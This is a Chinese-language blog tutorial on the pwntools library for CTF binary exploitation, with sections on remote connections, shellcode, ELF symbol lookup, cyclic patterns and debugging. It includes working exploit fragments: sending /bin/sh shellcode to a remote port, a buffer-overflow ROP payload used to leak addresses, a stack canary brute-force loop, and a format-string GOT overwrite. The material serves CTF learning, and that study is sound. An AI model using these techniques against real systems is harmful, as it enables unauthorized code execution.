pwntools

pwntools的学习使用


大致框架

官网的一个简单样例

1
2
3
4
5
6
7
from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()1234567

基本上仿造这个格式就可以写exp了。

1
from pwn import *

用来导入pwntools模块

1
context(arch = 'i386', os = 'linux')

设置目标机的信息

1
r = remote('exploitme.example.com', 31337)

用来建立一个远程连接,url或者ip作为地址,然后指明端口

这里也可以仅仅使用本地文件,调试时方便:

1
r = process("./test")

test即为文件名,这使得改变远程和本地十分方便.

1
asm(shellcraft.sh())

asm()函数接收一个字符串作为参数,得到汇编码的机器代码。
比如

1
2
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'12

shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。

其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。

而这里的shellcraft.sh()则是执行/bin/sh的shellcode了

r.send()将shellcode发送到远程连接

最后,

1
r.interactive()

将控制权交给用户,这样就可以使用打开的shell了

Context设置

context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

1
context(os='linux', arch='amd64', log_level='debug')

这句话的意思是:
\1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
\2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
\3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

连接

本地process()、远程remote()。对于remote函数可以接url并且指定端口。

1
2
3
4
io = process('pwnme')
io = process(['./col',s])#带参数
io = remote('pwn2.jarvisoj.com', 9881)
p = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')#ssh连接

IO模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
send(data) : 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
io.sendlineafter("Input:\n", data): 在"Input:\n"之后发送数据

sh.readline()
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
p.recvuntil("Hello, World\n")
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout

interactive() : 与shell交互

ELF模块

ELF模块用于获取ELF文件的信息,首先使用ELF()获取这个文件的句柄,然后使用这个句柄调用函数,和IO模块很相似。

下面演示了:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址

1
2
3
4
5
6
7
8
9
10
11
12
>>> e = ELF('/bin/cat')
>>> print hex(e.address) # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680

sh_addr = e.search('/bin/sh').next()#/bin/sh字符串地址
bss_addr = e.bss()

数据打包

数据打包,即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便

用法:

  • p32/p64: 打包一个整数,分别打包为32或64位
  • u32/u64: 解包一个字符串,得到整数

p对应pack,打包,u对应unpack,解包,简单好记

1
2
payload = p32(0xdeadbeef) # pack 32 bits number1
buf_addr = int(text, 16)#将text字符串当作十六进制的数字来转化成int型十进制的数字
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
addr = '400d4d'
#多为格式化字符串%p所得,
a = int(addr, 16)
print(a)

b = p64(a)
print(b)
#多为%s或者put write函数所得,为小端序
b = '\x4d\x0d\x40'
b = b.ljust(8, '\x00')
c = u64(b)
print(c)

数据输出

如果需要输出一些信息,最好使用pwntools自带的,因为和pwntools本来的格式吻合,看起来也比较舒服,用法:

1
2
some_str = "hello, world"
log.info(some_str)12

其中的info代表是log等级,也可以使用其他log等级。

Cyclic Pattern

Cyclic pattern是一个很强大的功能,大概意思就是,使用pwntools生成一个pattern,pattern就是指一个字符串,可以通过其中的一部分数据去定位到他在一个字符串中的位置。

在我们完成栈溢出题目的时候,使用pattern可以大大的减少计算溢出点的时间。
用法:

1
2
3
cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161) # 找到该数据在pattern中的位置
cyclic_find('aaaa') # 查找位置也可以使用字符串去定位123

比如,我们在栈溢出的时候,首先构造cyclic(0x100),或者更长长度的pattern,进行输入,输入后pc的值变味了0x61616161,那么我们通过cyclic_find(0x61616161)就可以得到从哪一个字节开始会控制PC寄存器了,避免了很多没必要的计算。

汇编与shellcode

有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。
首先,常用的,也是最简单的shellcode,即调用/bin/sh可以通过shellcraft得到:

注意,由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。

1
print(shellcraft.sh()) # 打印出shellcode1

不过,现在我们看到的shellcode还是汇编代码,不是能用的机器码,所以还需要进行一次汇编

1
print(asm(shellcraft.sh())) # 打印出汇编后的shellcode1

asm可以对汇编代码进行汇编,不过pwntools目前的asm实现还有一些缺陷,比如不能支持相对跳转等等,只可以进行简单的汇编操作。如果需要更复杂一些的汇编功能,可以使用keystone-engine项目,这里就不再赘述了。

asm也是架构相关,所以一定要先设置context,避免一些意想不到的错误。

DynELF

DynELF是leak信息的神器。前提条件是要提供一个输入地址,输出此地址最少1byte数的函数。官网给出的说明是:Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

很叼啊,有木有。以下是官方例程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

emmm下面是我用的一个栗子

1
2
3
4
5
6
7
8
9
10
def leak(address):
payload = 'A'*140 + p32(write_elf_addr) + p32(start_addr) + p32(0x1) + p32(address) + p32(0x4)
io.send(payload)

data = io.recv(4)
#log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data

d = DynELF(leak, elf = ELF("./level4"))
system_addr = d.lookup('system', 'libc')

canary

canary爆破

1
2
3
4
5
6
7
8
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

调试

显示栈信息

1
context.log_level = 'debug'

用gdb调试

1
2
3
io = process('pwnme')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(io)[0])

格式化字符串

fmtstr_payload是pwntools提供的函数,用于自动生成格式化字符串。

fmtstr_payload有两个参数
第一个参数是int,用于表示取参数的偏移个数

第二个参数是字典,字典的意义是往key的地址,写入value的值

1
fmtstr_payload(7, {printf_got: system_add})

这个函数调用会往printf_got中写入system_add

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. pwntools的学习使用
    1. 1.1. 大致框架
    2. 1.2. Context设置
    3. 1.3. 连接
    4. 1.4. IO模块
    5. 1.5. ELF模块
    6. 1.6. 数据打包
    7. 1.7. 数据输出
    8. 1.8. Cyclic Pattern
    9. 1.9. 汇编与shellcode
    10. 1.10. DynELF
    11. 1.11. canary
      1. 1.11.1. canary爆破
    12. 1.12. 调试
    13. 1.13. 格式化字符串
载入天数...载入时分秒...